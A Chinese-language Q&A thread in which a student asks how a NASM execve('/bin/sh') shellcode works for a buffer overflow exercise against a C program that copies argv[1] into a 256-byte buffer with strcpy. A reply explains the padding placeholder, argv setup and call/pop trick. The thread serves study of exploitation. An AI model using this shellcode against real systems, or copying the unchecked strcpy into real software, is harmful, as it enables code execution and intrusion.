【问题标题】:Buffer overflow with an example缓冲区溢出示例
【发布时间】:2015-01-11 16:04:15
【问题描述】:

我有一个 C 代码和一个汇编代码,我必须使用它们来使用 GDB 对 C 程序执行缓冲区溢出攻击。我可能会使用命令 run $(cat ),但是..

我无法编译汇编代码 - times NNNN db 0xff 给出了一个关于分配非常量值的错误,但我实际上不知道它做了什么,或者应该做什么。

似乎最后 4 行的工作方式类似于 esi 指向的堆栈推送,对吧?

mov byte al, 0x0b 行使用参数 /bin/sh0、AAAA 和 BBBB 调用 execv。为什么我们需要最后两个?

最后是int 0x80,我也不知道它是做什么用的。

另外,jmp short callit -> callit doit 和从头开始 doit 有什么区别?

如果有人可以帮助我,我将不胜感激,谷歌搜索了几个小时后我迷路了。

NASM x86 代码:

BITS 32
jmp short   callit

doit:
pop         esi
xor         eax, eax
mov         byte [esi+7], al
lea         bx, [esi]
mov         dword [esi+8], ebx
mov         dword [esi+12], eax
mov         byte al, 0x0b
mov         ebx, esi
lea         exc, [esi+8]
lea         edx, [esi+12]
int         0x80

callit
call        doit

            db '/bin/sh#AAAABBBB'
times NNNN  db 0xff
            dd 0xbffff050
            db 0x00

C 代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv) { 
    char buffer[256];

    if (argc > 1) {
        strcpy(buffer, argv[1]);
    }
    printf("%p\n", buffer);
    return 0;
}

【问题讨论】:

    标签: c linux assembly buffer-overflow


    【解决方案1】:

    您无法组装times NNNN db 0xff,因为NNNN 没有在任何地方定义。你大概应该在那里替换一个数字。

    您需要AAAABBBB,以便为系统调用设置argv 数组。 argv[0] 应该指向程序名称,argv[1] 应该是 NULL

    使用CALL 是因为它将返回地址放在堆栈上,因此您可以使用它来计算数据的绝对地址。

    【讨论】:

    • 但是.. 我应该在里面放什么?我不知道这些 db/dd 声明的目的是什么。总的来说,我知道我必须完全溢出缓冲区,以便我可以将 strcpy 中 ret 跳转到的地址更改为大概使用 shell 的 execv 调用,但我不知道如何做到这一点:/
    猜你喜欢
    • 2021-09-16
    • 2017-04-08
    • 2012-01-31
    • 2019-04-17
    • 1970-01-01
    • 2015-12-16
    • 1970-01-01
    • 2010-11-11
    相关资源
    最近更新 更多